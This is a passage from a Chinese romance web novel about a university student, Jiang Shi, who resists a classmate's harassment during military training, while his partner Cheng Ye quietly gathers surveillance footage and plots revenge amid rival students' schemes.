“你跟了我,我给你十万,反正我睡两天就腻了,说到底还是你赚了。” 说着,他伸手要去抓江时。 江时的动作很快,他像是学过,王泽凯根本没看清他是怎么动的,下一瞬,人就被撩在了地板上。 哐当一下,王泽凯被砸得两眼发黑,再动时,就不知道被捏住什么地方,疼得整个人都缩了起来。 江时手里捏着一把坚硬的钢笔,笔尖悬在王泽凯的眼球上方。 素白的指尖压着笔帽,语调和以往一样,声音不大,音色有些冷。 “你猜我敢不敢戳下来?” 王泽凯僵住不敢动。 江时嗤笑一声,“我是什么同你有什么关系?你犯贱不代表我也要跟着你犯贱,只靠下半身思考的叫动物,不是人。什么以后都要结婚生子的话简直就是狗屁,祸害男的还不够,还要祸害人家女孩子一辈子,你讲出来我都替你感到恶心。” “还有……”他笔尖往下落了一分,“我没跟你开玩笑,再让我从你嘴里听到什么,我真会把你牙给拔了。” 他松开手,眉间像压了霜雪,“滚。” 王泽凯连滚带爬的跑出医务室,走到门口,他扶着门框回头,“你给我等着!” 江时坐在床上,合上笔帽,闻言头也不抬,“好啊,我等着。” …… 人走远了,江时紧绷的脊背才一点点缓和下来。 那只钢笔被他攥在手里,指尖搓揉成潮红,然后毫无预兆地抖了起来,抖动的幅度有些大,钢笔咔哒一声摔在地上。 笔帽裂开,里面的笔尖摔裂出来,地上溅了团黑色墨水。 江时蹲下去捡,在手指碰到钢笔的瞬间,一股让他难以抗拒的恶心感涌了上来。 他把钢笔丢到垃圾桶里,跑去了卫生间。 本来就没吃什么东西,吐也吐不出什么来。 江时蹲在地上缓了好久才站起来按下冲水键,他脸色苍白如纸,手指还在不自然的痉挛,哆哆嗦嗦打开水龙头洗手。 外面传来医生开门的声音,“同学,你还在吗?” 江时张了张嘴,声音有些艰涩,低头洗了把冷水脸才缓过来,“我在卫生间。” 他湿着脸打开门,医生绕开地上那团墨渍,左右看了看,“奇怪,地上怎么会有团墨。” 江时站在垃圾桶面前,“刚刚我同学来看我,不小心摔了支笔漏出来的,待会我把它弄干净。” 医生没在意,把手里打包的饭菜放在旁边的柜子上,“你光吃那点零食怎么能吃得饱,我给你带了点饭,是教官和老师那个食堂的,跟学生吃的不一样。” 江时看了眼,都是些清淡的菜。 “谢谢医生,还有……”他顿了顿,道:“我今天晚上能在这睡吗?” 他脸色看起来苍白得吓人,医生看得有些于心不忍,“本来这里就这么几张床位,是给要紧的同学休息的,但现在没什么人,你要睡就睡吧,不过要记得跟辅导员说。” “我知道了,谢谢。” 吃完饭,又吃了药,药劲上来,江时靠在枕头上迷迷糊糊睡了过去。 醒来的时候是被熄灯睡觉的铃声吵醒的。 江时睡得很不好,梦境断断续续的,都是些让他很不愿意回想的事。 他迷迷糊糊睁开眼,最先看见的是坐在他床边的黑色剪影。 比大脑更快的是他的手,下意识就朝那道人影挥了过去。 还没碰着,手就被接住,然后拉进一个干燥的怀里。 江时僵了僵,肩膀放松,力道松懈,讲出来的话带着他自己也没察觉的埋怨,“程野你干什么,大半夜的坐床边声音也没有,吓不吓人?” 黑影没说话。 医务室不断电,医生也不睡这里,目前这里只有江时一个人。 他伸手按了下旁边的开光,骤然亮起的光驱散满屋黑暗。 程野不知道在床边坐了多久,肤色比上次见面的时候深了点,身上汗味很重,衣服上染了许多泥,就连脸上也印了几块。 见江时醒了,他也没说话,松开他,把自己脏兮兮的外套脱了。 江时短暂的睡了几个小时,脸色看起来没有刚刚那么苍白。他看着程野这个样子,也来气了,“一句话都不说,你板个脸给谁看?” “说?”程野笑了,“你要让我说什么?要不是左回给我发消息,我是不是要等军训结束了才知道?” 江时哽了哽。 他气势顿时弱了半分,“跟你说干什么?你又做不了什么,说了也只是徒增烦恼。” “所以就瞒着?等到进医院了我才配知道吗?” 江时说:“程野你那么凶干什么?” 程野硬生生给他气笑了,“小少爷,说我那么凶?你干这些事的时候怎么不怕我会凶?” 江时理亏,但不承认,索性背过身拉着被子盖住头。 程野道:“江时,转过来看着我。” 江时才不动。 程野站起身把椅子拉开,直接弯腰伸手去掀他的被子。江时藏着被子不让他抽,他就去抓他的脚,刚一碰上,那双脚就不管不顾地踢了上来。 力道也没怎么收着,落在大腿上一阵肉疼。 程野皱着眉,扣住他脚踝,力道大了,江时还骂他,“我看你根本一点都不在意我,我都这样了,也不问我怎么样,一来就问为什么骗你。” “我就是骗你,骗你怎么了,你有本事揍我一顿。” “江时。” 江时不动了,偏着头,不说话。 身后传来一声叹息,“我的小少爷,你可讲点理吧,你骗我在先,我还没说什么,你倒先生上气了。听到消息,我晚训都没参加就翻墙过来。” 江时侧过一点点脸悄悄瞥了他一眼。程野今天也不知道训什么了,衣服裤子上都是泥,就里面的短袖还稍微干净点。 他把脚从他手里挣脱出来藏到被子里,再把自己团了团,“本来就是啊,说了也没用,还让你白白担心,我以为熬过这几天就好了,没想到……” 程野看他把自己裹得跟个茧一样,脸色虽然刚刚骂人的时候红了点,但掩盖不了带着病气的苍白,下颌尖尖,连骂人都中气不足。 才不过十多天没见,一转眼人就成了这样,程野感觉心如针扎一样难受。 他拿起旁边的保温桶,伸手掀开盖子,不是跟江时商量,而是通知他。 “江时,最后一次。” 江时不服气的撇嘴,然后被炖得软烂的山药堵住。 他两口就咽下去,问程野,“你吃的哪里来的?” “我有我的办法,以后想吃什么跟我说。” 程野知道食堂难吃,之前就想给他喂小灶,结果江时老是不回他消息,现在看来,一切都有了解释。 好几天没见,他细细看着他脸上的神色,不经意开口,“刚刚你伸手打人的动作很熟练,是遇到什么事了?” 江时咀嚼的动作顿了顿,“能有什么事,你声音都没有就往床头坐,不打你打谁?” 程野笑了声,没说话。 吃完了,程野站旁边收拾,江时躺被子里看他收拾,周遭很安静,唯一亮着光源的医务室像是个单独隔绝的世界。 看了会,江时很突兀的开口,“程野,你要回去了吗?” 程野问他,“你想我回去吗?” 江时说:“不想。” 程野拿着盖子的手顿了下,然后垂眼盖上盖子,“嗯,我陪你,天亮了我再走。” 江时这几天都没睡好,人一放松起来,疲倦如同潮水涌来。他主动腾了半边床位给程野,“你要上来跟我一起吗?” “不了,我没洗澡,身上都是泥,坐椅子上就行。” 程野去洗手间洗了把脸,出来时江时还眼巴巴的看着他。他走过去坐在椅子上,把手伸出去,声音在夜色里很温柔,“少爷,要抓着我的手睡吗?” 江时犹豫了会,还是伸手抓住了。他虚虚握着程野粗大的指节,“要不等我睡着你就回去吧,坐一晚上椅子也不行。” “没关系。”程野道:“我皮糙肉厚,坐一晚上没什么。” 他低头亲了亲江时的眼皮,“我在呢,睡吧。” 江时强撑着的眼皮终于合上了。 程野就这么看着他入睡,等到人终于睡熟后,他把他的手轻轻塞到了被子里。 他在狭窄的房间里巡视着,一切都正常,地才拖过没多久,消毒水的味道还没散完,垃圾桶堆满了,没看出不对劲。 程野蹲下身,从床底捡起一个碎裂的钢笔笔帽。 他拎着垃圾桶去了卫生间,从里面翻出一支没了笔芯的钢笔。 他送江时的。 第74章 早上六点半是集合跑操的时间,跑完早操吃早餐,八点早训正式开始。 早训前,临时班长例行点名,其实方方正正的队伍,哪里没站人一眼就看出来。班长拿着点名册,看着最后排那个空位,“那是谁没来啊?” 左右的学生互相对视一眼,没人说话,最后是一个男生弱弱道:“好像没来的那个叫程野。” “他为什么没来?” “不清楚,我们跟他都不太熟,他昨天晚上就没来了,而且好像也没回宿舍。” 昨天晚上拉歌,教官没点名,因此也不知道他没来。 正说着,教官来了。 他往后面瞥了眼,问班长,“有人没来,请假了吗?” 班长挠挠头,不知道该怎么说。正在他犹豫的时候,不远处,一道人影一瘸一拐的过来了。 一晚上过去,程野身上的黄泥已经凝固脱落,留下一块块斑驳印记,他的脚像是受了伤,走得很慢,好半天才挪到队伍面前。 “报告!” 教官皱了皱眉,“你怎么回事?” 程野说:“脚受伤了。” 他当着教官的面拉起裤脚,露出脚踝,上面肿起高高的一片,看着特别吓人。 周围响起倒吸凉气的声音。 不止学生,教官也被他这个样子吓到了,“这是怎么弄的?” 程野面上倒很淡定,“早上起来的时候没注意看路,扭到了。” “去校医室看过了吗?” “还没来得及,过来跟你说一声。” 这下教官也顾不得计较他迟到的事情,“赶紧去校医室看看。”他招了招手,“来个人送他过去。” 班长几乎是瞬间就站在了程野旁边。 程野顿了顿,伸了两个手指头搭在他肩膀上。 他握着程野的胳膊,好哥们一样搀扶着他往校医室去。 班长跟程野也不熟,军训到现在有没有说过话都不记得了,扶着他也只是想偷懒而已。 其实程野跟班里的人都不熟,大家对他印象最深的就是他的长相,眉目深邃,明明带着很强的攻击性,人却很沉默,大多数时候都独来独往。 好多女生想跟他搭讪,但一看见他那双眼睛就退缩了。 想到这里,班长也抬头往旁边看。 程野有着一双很黑的眼睛,可能因为太黑了,有时候看着不太像人类的眼睛。 像兽。 明明在扶着他,班长却没有感觉到有力气落在身上。程野走得慢,不急不缓,如果不是看到那高高肿起的脚踝,他甚至感觉不到他受伤了。 好不容易挨到医务室,一到门口班长就松开了手。他搓了搓手心冒出来的冷汗,欲盖弥彰的开口,“我先进去给你叫医生。” 每天医务室只有中午和下午才会人满为患,早上倒很冷清,知道程野扭了脚,医生让他坐在椅子上。 他撩开他的裤腿看了看,皱起眉头,“你这看起来很严重啊,差点就伤到骨头了,怎么弄的?” 程野还是那句话,“不小心。” “我找点药给你喷着,静养几天看看,这里条件不好,可能伤到骨头我没看出来,如果更严重了,要赶紧去大医院拍片看看。” 医生说着蹲下身,“里面有淤血,我要给你揉开,可能会有点疼,忍着点。” 班长看得呲牙咧嘴,一抬头,发现程野盯着他看。 他敞着长腿,手臂舒展,随意地搭在椅子边,手腕上戴着块黑色的表,像是完全感受不到疼痛。 “多谢,剩下的我自己来就行。” 班长读到了他眼里的驱赶,本来就不熟,他没多待,离开了医务室。 医生两三下就揉完了,他放下裤腿,夸赞了句,“小伙子挺能忍,之前来这里的,擦破点皮都鬼哭狼嚎。” 程野没说话。 他靠在椅子上,从兜里摸出一只钢笔,单手旋开笔帽,盯着里面缺了笔尖的孔看了会,趁着医生不注意,闪身离开了校医室。 他走得很快,如果不是肿起的脚踝作不了假,看着就像个完全没受伤的人。 程野走到墙边,撑着墙翻了过去,来到隔壁训练营门口的保安室。 大家的军训服都一样,保安以为他是B大的,看见喊了声,“那个同学,现在是训练时间,你干什么去?” 程野瘸着腿走到保安面前,“叔,脚崴了,训不了。” 保安看着他撩起裤腿,被肿起的脚踝吓了跳,“看起来还怪严重的,你这是要出去吗?” “不去。”程野站在监控看不见的地方,伸手从怀里摸出一包烟塞给保安,“有件事想求求叔。” 保安翻开一看,八十一包,他一抬头,发现监控正照不到。 他顿了顿,没敢贸然收下,“你先说说是什么。” 程野垂下眼,像是有些难过,“我是个孤儿,妈跑了,爸也死了。我爸死的时候我正高二,他得了病,知道自己活不长久,走之前送了我支钢笔,希望我能考个好成绩。” “我……”他恰到好处的顿了顿,语气有些哽咽,“我去哪都带着它,结果昨天不小心被我弄丢了,我哪里都找不到,还把脚给崴了,到后面实在没办法,所以来求求你……” 保安知道他要干什么了,“看监控是吧?” “嗯,我昨天丢之前没去哪里,只去了校医室,所以想麻烦你让我看看校医室门口那段路的监控。” 听到是路边,保安松了口气。 他把烟揣兜里,“好说好说,你跟我进来。” 他把程野带进去,调出历史监控,找到校医室门口的那段路,“这时间有点久啊,能具体一点吗?” 程野又道:“我能拷贝一份吗?” “这……我们可没这规矩。” “我知道。”程野靠近保安,往他兜里塞了个信封,“那么小一只钢笔,你让我就这么找也很困难,一段路的监控而已,不会有什么事的。这只钢笔对我来说真的很重要。” 保安伸手往兜里一摸,不薄不厚的一叠。 “我之前求过导员,钢笔不贵,他不想管,我实在找不到办法了才来你这里。” “而且,马上就要吃午饭了,我俩待在这里也不合适。” 保安犹豫道:“你真的不干什么?” 程野笑了笑,显得有些憨厚纯良,“路上人来人往的,又没什么秘密,我能干什么?” 保安盯着他看了几秒,左右看了圈。 “那你动作快点,记得,你今天没来过这里。” 咔哒—— 程野把优盘插进主机- 江时训练不了,彻底成了班里的吉祥物。 一群人在踢正步,他就坐在离他们不远的台阶上守着班上的桶装水。他背后是花池,刚好有棵树,投下来的树荫正正好遮住他。 解散的哨声一吹响,一群女生就涌了上来。她们拿着可爱的杯子围在江时旁边接水,叽叽喳喳问他,“江时,你怎么样了?有没有好点?” “要是不舒服的话,其实可以跟导员说去宿舍休息的。” “对啊,这里这么热……” 昨天收到了一小袋的零食,今天面对她们的关心,江时有些不好意思,露出一个很浅的笑容,“谢谢,我好多了。” 他一笑,周围哇了一片。 “让开,一群人堵在这里还让别人怎么喝水。” 王泽凯头上包着纱布,神色不愉地挤开人群,看见坐在中间的江时,他脸色白了白,然后瞪了他一眼,拿着自己的水杯走了。 班长是个女生,一米七五的高个,站在人群里很出挑,她抱着手臂,对着王泽凯的背影嗤了一声。 “死装哥。” 她问江时,“你跟他有过节吗?” 这种事江时也不好对外说,只能含糊道:“之前因为一些事发生了点不愉快。” “你别管他。”班长道:“亏我之前还以为他是个好心人呢,结果军训这两天我算是看出来了,他就是想借着发零食的名义秀一秀家里的三瓜两枣,借机泡妹。” “泡妹?”江时愣了愣。 他仰着一张脸,白嫩嫩、俏生生,可能是因为惊讶,眸子瞪圆了点,周边女生多,有些不好意思,连带着脸皮也有点粉。 瞬间就没了之前的高冷感。 班长看得有些愣,几秒后才回神,“啊……那个啊……说出来都脏了你的耳朵,你不用管。” 正说着,江时的手机震动了。 他掏出手机,发现是程野的电话。 左右都围着人,他出不去,只能拿着手机接了电话。 “喂?” 程野的声音凉凉的。 “小少爷,我看你聊得挺开心的,我是不是打扰到你了?” 江时愣了愣,扭头从缝隙里看过去,看见了站在不远处的程野。 “……” 他拿着手机猛地站起来,吓了身边的人一跳,“怎么了?” 江时干笑一声,“我朋友来了,我要走了。” 于是大家顺着江时的目光看到了不远处的程野。 肩宽、腿长,肤色是太阳久照沉淀下来的颜色,鼻梁高挺,眉目深邃,看着就很野。 几个女生忽然陷入死一般的静。 几秒后,班长发出一句惊叹,“我靠!” 江时扭头。 班长伸手捂住嘴,涨红着脸,比起害羞,倒像兴奋,她抓着旁边女生的手,语无伦次,“你……哦不,你朋友来得可真快……我们不打扰你们……不打扰……啊走走走……” 一群人呼啦一下来,呼啦一下全走了。 江时挠挠脸皮,有点懵。 程野站他身边,身上带着阳光暴晒的干燥气息。 “怎么,不舍得?” 第75章 江时给了他一下。 别的同学都在食堂抢饭,程野带着江时绕过宿舍楼,来到后面偏僻的小树林。 他脱下的外套铺在地上给江时坐,又从怀里掏出一份中式汉堡。 肉夹馍还在冒着热气,分量很足,拿在手里沉甸甸的。 江时团团团,先啃了口外面的馍,“你东西到底哪里来的?” 程野拔了根草含在嘴里,用手枕在脑后靠在树上歪头看他,“有钱就行。” 切,江时撇嘴,“你钱很多吗?” “不多,只够养小少爷。” 他拿着放在一边的水递给他,“喝点水,小心噎着。” 这个时候还有蝉鸣,声音嘶哑,鸟儿也被它们叫得歇了声,天空万里无云。 江时啃了一半,人往程野那边挪了挪,不看他,“对了,你还记得你之前给了我支钢笔吗?” 旁边的程野闭着眼睛,像是睡了过去,闻言好一会才掀了下眼皮,“嗯?” 江时抠着手里的塑料袋,“那钢笔贵吗?” “还好,不贵。” 程野往他那边歪了下头,睁开眼睛,“怎么了?” “呃……”江时接着抠,“就是……我不小心把它给弄丢了。” “丢了就丢了……”草茎被程野咬着,讲话时一晃一晃的,声音混合在风里,“不值什么钱,你要是喜欢,等回去我再给你买一支。” 江时低头咬了口肉夹馍,“算了……” 程野直起身,伸手捏住江时的下巴,让他面对自己,“这是又不开心了?” 迎着他漆黑的目光,江时眼睫颤了颤,“才没有。” “是没有……”程野懒洋洋的,“嘴角都能挂瓶酱油了。” 江时:“……” 对面的人又毫无预兆的,“江时,要接吻吗?” “还没试过在小树林里亲你,想想很带感。” 江时一巴掌把他手打开,“你要点脸吧程野。” 程野要老婆不要脸,拔掉嘴里的草,弯腰就探过来。江时僵着没动,也不知道是接受还是拒绝。 就在两人即将碰到的瞬间,不远处忽然响起说话的声音。 江时被吓了一跳,猛地一把推开程野,甚至还踹了下他的腿。 右腿被踹得趔趄一下,程野皱了下眉头,下一秒抓着江时的手把人摁在身下,“少爷怎么跟兔子一样胆小?” 江时试着挣扎,但不知道程野是怎么摁的,动都动不了。他瞪着他,“你以为谁都跟你一样不要脸?” 声音越来越近,江时咬着牙低声道:“放开我。” 程野不动,抵着他的腿蹭了下,“不放,有本事就自己挣开。” “……” 天干物燥,干柴烈火。 江时红着脸,“你松开,有人过来了。” 程野依旧不动。 江时只能自己挣扎,可程野的力气大得吓人,摁他跟摁小鸡仔一样轻松。 折腾了会,非但没挣脱,反而把江时闷出一脸的汗。 程野眯着眼撑在上方看着他,讲话漫不经心的,“那天晚上少爷打我的时候出手那么干脆,我还以为你练过呢?” 江时累得躺在地上喘气,脸被旁边的草刮出几道红痕,程野还什么都没做,就一副被蹂躏过的模样。 听他这么问,他喘匀了气才道:“是学过,才上了三天的课就被我……宋建安的爸妈发现,他们停了我的课。” 他眼睫上挂着潮气,不知道是热的还是什么,声音听起来还算平静,“我就学了一两招……” 说到这里,江时伸手扣着程野的肩膀,想像当初扳倒王泽凯的那样掀翻程野。可程野跟王泽凯那个绣花枕头根本就不是一个量级的,他下盘稳得不像话,充其量也只是动了动。 程野看他努力了会,然后干脆躺着不动,摆烂了。 他笑了声。 “我教你怎么做。” 他抓着江时的手,“这里有个穴位,按住会使人麻痹,抓人的时候也不要硬抓,要学会借力使力,就像这样……” 他手抓着江时的肩膀,膝盖一顶,顿时就把人掀到他身上。他曲着膝盖,暧昧地磨了磨,“男人的弱点都一样,必要的时候,该踹就踹。” 江时被他顶得难受的弓着腰,惊呼的声音细细的,眼尾也挂着红,勾子一样勾着程野。 程野的眼神逐渐变得迷离,草地和阳光的味道混合在一起,但他依旧能捕捉到江时身上甜腻的香。 他被这香勾得没了魂,身体向前倾,呼吸粗重。 越靠越近,直到…… “别动,如果你还想活命的话。” 程野低头。 “我教你东西这么快就用到我身上?” 江时挑眉,弯着唇,露出一个很张扬的笑。下一秒,他就被咬住了唇。 有的人不要命也要耍流氓,江时只得松了手- 江时白天在班里当吉祥物,晚上没人就溜去校医室补觉,每天还有程野的投喂。除去前面那段生不如死的时光,后面的日子过得还不错。 一晃眼军训结束,学生们前一秒还在跟教官挥泪告别,下一秒就在车上睡死了过去,看到那扇还有些陌生的大门时,江时恍惚了好久。 和训练营的大通铺相比,学校的四人间简直算得上天堂,哪怕里面还有一个很讨厌的人。 经过校医室的事后,江时遇到王泽凯就当看见空气,王泽凯也不跟他说话,只是偶尔用一种阴测测的目光看着他。 江时权当没看见。 比起王泽凯,满当当的课表才让他头疼。但也有好消息。 孙天宇给他打电话,说杂志卖得很成功,特别是江时穿的那件衬衫,直接卖到缺货。 之前回溪柳村的时候,孙天宇就给江时打过一次电话,说杂志出版了,要不要给他寄一份。 对江时来说,拍摄只是工作,他对工作之外的事都不感兴趣,也不好奇自己能拍成什么样子,所以就拒绝了。 孙天宇又问他,“这边还有个比较适合你的拍摄,价格肯定没有之前高,你要不要来?” 程野最近也不知道在忙些什么,周末也看不见人,闲着也是闲着,江时答应了。 周末那天早上天气阴沉沉的,知道他要去做兼职,左回劝道:“我看好像要下雨,记得带把伞。” 江时连伞放在哪里都不知道,也懒得找,穿上个外套就走了。 这次的衣服比较青春时尚,也不需要太多的情绪,人往那一站摆姿势就行。 拍完了,孙天宇站在摄影师身后查看成片,他问江时,“真的不考虑朝这方面发展?” 江时挠挠脸,“再看吧,我还要上课呢,没时间。” 他那课满得跟高中差不多了,光上课就很累了,实在没时间搞别的。 学生最重要的是学习,孙天宇顿时没再劝,只是道:“以后可以考虑一下。” 江时穿上外套正准备走,外面轰隆几声响,瓢盆的大雨顿时下了下来。 “……” 真是怕什么来什么。 孙天宇也看到了大雨。 “没带伞么?我办公室里有一把。”他喊助理,“小刘,你帮我……” 话还没说完,门口进来道修长人影。 程野收了伞站在门口,“走了江时,回家。” 江时忽然就笑了。他嘴角抿出两个很浅的窝,步子轻快,跑了两步,才想起来回头朝孙天宇道:“有人来接我了,不用了,谢谢总监。” 孙天宇见他那样,笑着挥了挥手,“老规矩,成片没问题了再给你打钱。” 江时没听到,两三步蹿到程野身边,“你怎么来了?” 程野说:“来接你。” 他撑着伞,把江时罩在伞下,送着他上了车。 江时系上安全带,看着程野坐上驾驶位,扣紧的安全带顿时变得不安全起来。 “你开车?” 程野岔开腿大马金刀的往那里一坐,侧过眼瞥了眼江时,“怎么?” “不是……你有驾照吗?” 程野伸手往兜里一摸,摸出个本子丢江时怀里,“新鲜出炉的。” 江时翻开看了看,发现还真是,“你什么时候考的驾照,我怎么不知道?” 程野启动车子,缓缓驶入雨幕。 “高考完的假期,之前学过开车,没怎么去练,就报了个名。” 堪称时间管理大师。 江时又问:“车也是你买的?” “不是,王卓的。” 王卓也是好起来了,都有车了。 程野说:“公司换地方了,租了个更大的场地,他们说今天晚上庆祝一下。” 这两个月两人见得少,再加上江时懒得过问程野的事,没想到这么会时间程野工作室都换地方了。 “好端端的,怎么换了?” “暂时可以理解为扩大规模。” 江时:“……” 程野又道:“待会吃完饭我还要见一个客户,可能不能陪你回家。” 江时知道他很忙,他帮不了什么忙,只能做到不给他添麻烦。“我知道了,待会我打个车就行。” 他善解人意程野反而不开心,“一个星期没见,少爷答应得倒是很干脆。” 江时说:“那你别去。” 程野沉默。 “你看,说了你又不乐意。” “……” 再不乐意,好不容易约上的人还是要见的。 吃完饭大雨停了,但还飘着些细碎雨丝,王卓跟程野再三担保把江时安全送到家,程野才让人上了他的车。 十月中旬入了秋,一下雨,温度骤降,程野套上外套,转场去了另外一个地方。 江城的茶楼很多,但说算得上出名的,应该就是临江的那家。 江对岸是飘扬的垂柳,倚着窗,能将对岸的市井人间收在眼底。 程野到的时候黄旭尧已经喝完一杯茶了,他站在门口抖落身上的雨丝,刚一动,就听见里面的人开口,“好大的面子,还没谁能让我等这么久。” 程野没什么表情,敛着眉坐他跟前,“你时间紧,我时间也紧,要不是黄总明早就要走,我也不想大晚上的来见你。” 黄旭尧笑了声,往后靠了靠,“尝尝看他家今年的新茶,还不错。” “我牛嚼牡丹,喝不懂,谈完事就走。” “这么着急?” 江时还在家里等他,程野自然急。 “我看了你的提议,合作可以谈,但我有个要求。” 只有人上赶着求黄旭尧合作,他还是第一次见跟他谈条件的,“你要什么?” 程野道:“跟工作无关,我知道黄家在京市的地位,我只是想借一借你的势,帮我处理个人。” “借势?”黄旭尧挑了下眉,“什么样的人,还值得你跟我借个势?” “人不重要。” 程野眼眸暗沉,说这话的时候面上没什么表情。 “拔掉蚂蚁的牙容易,可我要的,是蚂蚁这辈子都蹦哒不起来。” 但以他现在的能力,还远远不够。 第76章 程野回去的时候已经快凌晨两点,客厅的灯没关,江时在沙发上睡了过去。 灯光下,他眼睫浓长,侧着身微蜷着身体,手机压在脸下,金属轮廓将他的脸挤压出两道红痕。 程野抽出手机,又把人抱去房间。 半路江时转醒,偏头在他身上闻了下,没闻到酒气,倒嗅到了点清浅茶香。 “你回来了啊,几点了?” 程野把人塞被子里,“差几分钟两点,睡吧,我去洗澡。” 江时短暂地醒了下,听到话后团着被子翻了个身,再次陷入沉睡。 程野站在床头看了会,转身出了房间。 客厅的灯在刚刚抱江时的时候就被关了,门外路灯投了点影影绰绰的光芒进来,程野整个人陷在沙发上。 黑暗笼罩着他,看不清脸上表情,只有背影看起来很沉默。 他起身从旁边的柜子里翻出一瓶啤酒。酒是上次聚会喝剩的,别人都懒得拿,他拿回了家。 程野一手拎着酒,一手拿着椅子去了阳台。 城市陷入沉睡,雨停了,天边亮起闪烁的星。 他敞着腿,双手撑在膝盖上,单手拎着瓶子,张嘴一嗑,瓶盖应声落地。 程野迎着闪烁的星喝了口酒,掏出手机,像做了很多次,熟练地找到文件夹,翻出藏在里面的录像。 视频说长不长,前前后后不到二十分钟。 保安以为他只给了校医室门口的那段,其实程野做了点手脚,连着校医室的监控都在他手里。 视频的光将脸照成五彩交织的光芒。 程野面容平静地看着,喝完了一瓶廉价的酒- 王泽凯是个双,简单来说就是男女通吃。 家里是搞房地产生意的,这两年建筑业兴起,可谓赚了个盆满钵满。 他喜欢玩,却不想负责任,所以最好的办法就是给钱。 王泽凯有点脑子,但不多。他知道有的人不能惹,一般都挑那种家境不好的人下手,完事了给点钱,再威逼利诱一番,基本上没人敢闹事。 江时是个意外。 他太好看了,往那一站好像天生就会发光。 他调查过他,林城来的农村人,光看家庭地址,完全想不到这样的地方会长出这样的人,况且身上的衣服还不便宜。 见面的第一眼,王泽凯就知道他昨天去干了什么。开学报到才三天,第一天江时就跟人上了床,带着满身的痕迹回来。 那一刻,王泽凯好像知道了他身上的衣服是怎么来的了。 万万没想到,江时却是块硬骨头。他的示好他完全看不见,估计是察觉到了什么,甚至连点好脸色都不给他。 理智告诉王泽凯这种人最好别招惹,可他梦里辗转反侧都是那张脸,烧得他心痒难耐。 于是发生了校医室那幕。 王泽凯自然咽不下这口气,他额头的包肿了好几天才消,伤一好就开始联系在这边认识的朋友。 朋友都是酒肉朋友,往光线迷乱的酒吧、KTV里一坐,推杯换盏后,瞬间就成了生死兄弟。 KTV里人很多,男男女女一堆,王泽凯花了好大的劲才挤进他们的圈子。他推开身边的女生,给旁边的人倒了杯酒,“谢哥,你也知道我刚来这边,人生地不熟的,这事就拜托你了,你可一定要给兄弟我出这口恶气。” 谢鸿歪倒在沙发里抽烟,他吐出一口烟,露出一个笑来,“欺负你那就是欺负我,这个忙我一定会帮,只是你也知道,我最近投了个项目,忙得走不开,这样吧,我派两个人给你,你有什么需要就跟他们说……” 说完,他顿了顿,“只是我家管得严,再加上这个项目需要政府审批……” “我懂。”王泽凯拿着杯子和他碰了碰,“你放心,我绝对不会说跟你有关系的。” 谢鸿笑了声,往旁边看了眼。 王泽凯旁边的女生顿时就靠了过来,声音娇滴滴的,“王少,怎么来KTV了还要说正事呀,好无聊的……”她伸手去勾他的脖子,“要陪人家去上厕所吗?” 王泽凯和女生搂搂抱抱的去了厕所。 里面,谢鸿摁灭烟,正在玩手机的一个男生收了手机坐过来。 “谢哥,你真要让王泽凯去教训江时?” 提起江时,谢鸿眼里的恨意藏都藏不住,阴沉着往旁边看,“怎么,你心疼他?” 男生被他的眼神看得抖了下,“怎么可能。虽然霍寂出国了,但他跟宋家的关系还没彻底闹僵,身后还有个京市的黄家,我们这么对他,不太好吧……” “关我们什么事?”谢鸿笑了声,“这明明是王泽凯自己干的事,跟我谢鸿有什么关系?他要是真能对江时怎么样,那是他有本事,要是……蠢货哪来的就回哪里去。” 要不是他家最近闹得凶,家里那个后妈就等着他犯错,当初在饭店受的屈辱,他也不会忍到今日。 江时…… 谢鸿捏着手里的杯子。 你等着,我一定要让你生不如死。 …… 王泽凯和女生从厕所回来包间里的人都换了一轮。 他衣服松垮垮的,脖子和脸上还有没擦完的口红印,不过他人也不在乎,把这些口红印当作勋章,眉宇间带着餍足,坐回了沙发上。 喝了还不到一杯,包间门被推开了。 不知道谁又点了酒,送酒来的人是个王泽凯没见过的服务员。一个小男生,清清秀秀的,那双眼睛带着不谙世事的好奇,弯腰放酒时,制服将他的腰肢勾勒得又细又柔软。 仅一眼,王泽凯就被勾去了心神。 谢鸿知道他男女不忌,但没想到他连装也不装,眼底闪过嫌恶,面上却露出一个笑来,“喜欢?” 王泽凯舔了舔嘴唇,“谢哥的场子,自然是谢哥说了算。” 谢鸿朝男生招了招手,“你过来。” 男生怯怯地看了他一眼,犹豫几秒,还是走过来了,“您好……” 谢鸿伸出手比了比,“陪我兄弟喝一杯,给你这个数。” 男生看了看浪荡的王泽凯,咬着唇踌躇拒绝,“不好意思,我就是来送酒的,这个不在我的服务范围内。” “不想啊?”谢鸿笑了笑,“那也行,把你刚刚送过来的那件酒全给喝了,我就放你出去。” 这是惯用手段,权衡利弊之下,大部分都会选择前者。 果不其然,男生听了后,脸色变得难看起来。他看看谢鸿,又看了看王泽凯,最后在王泽凯面前蹲下了身。 灯光晃眼,男生的脖颈在他眼底蜿蜒出一条雪白的光景,像兔子- 王泽凯就这么跟那个男生好了起来,他是第一次遇见这么合他心意的一个人,温柔乡让他忘记了要找江时的茬。 就这么过了几天,他非但没腻,反而越发上头,甚至起了要给他一个身份的念头。 男生叫白黎,人就跟他的名字一样,温温柔柔的,声音大一点都能哭,小白兔一样的性格,满心满眼都是他。 不知不觉间,王泽凯跟他说了很多自己的事。 好了一段时间后,白黎说要带他去他住的地方。他带着王泽凯转了好几趟车,拐进一个错综复杂的巷子。 站在巷子口,王泽凯还有点怕,“你家怎么这么偏?” 白黎眨了眨眼睛,声音柔柔弱弱的,“哥哥你也知道我家庭条件不好,我爸妈都不管我,我的工资只能够我在这种地方租房子。” 王泽凯顿时又心疼了,“没关系,以后我给你钱,让你买大房子。” 白黎笑嘻嘻的,“好呀,我等着哥哥给钱让我买大房子。” 他带人走进去,上了楼,挡在王泽凯面前,“哥哥,进去前我们来玩个游戏怎么样?” “什么?” 白黎掏出一块黑布,“我给哥哥在家里准备了惊喜,进去之前要蒙着眼睛,哥哥别害怕哟。” 王泽凯顿时脑补了很多少儿不宜的画面。他伸手在白黎的屁股上捏了把,“就知道你忽然让我陪你过来肯定不安好心。” 白黎笑着给他蒙上。 他打开门,拉着王泽凯坐在椅子上,笑着道:“我要把哥哥绑起来了哦。” 王泽凯的呼吸顿时重了起来,“你这是要……” 他话还没说完,就被白黎捆住了身体。空气里传来绳子收缩的声音,王泽凯被勒得轻哼了声。 “小黎,这样会不会太紧了?” “怎么会呢……”白黎笑嘻嘻的,“这样才刺激呀。” 王泽凯顿时不动了。 终于绑好,白黎靠在他耳朵边轻声道:“哥哥,我这里有个更刺激的,你想不想看?” 王泽凯的呼吸顿时重了。他咽了咽口水,“看。” 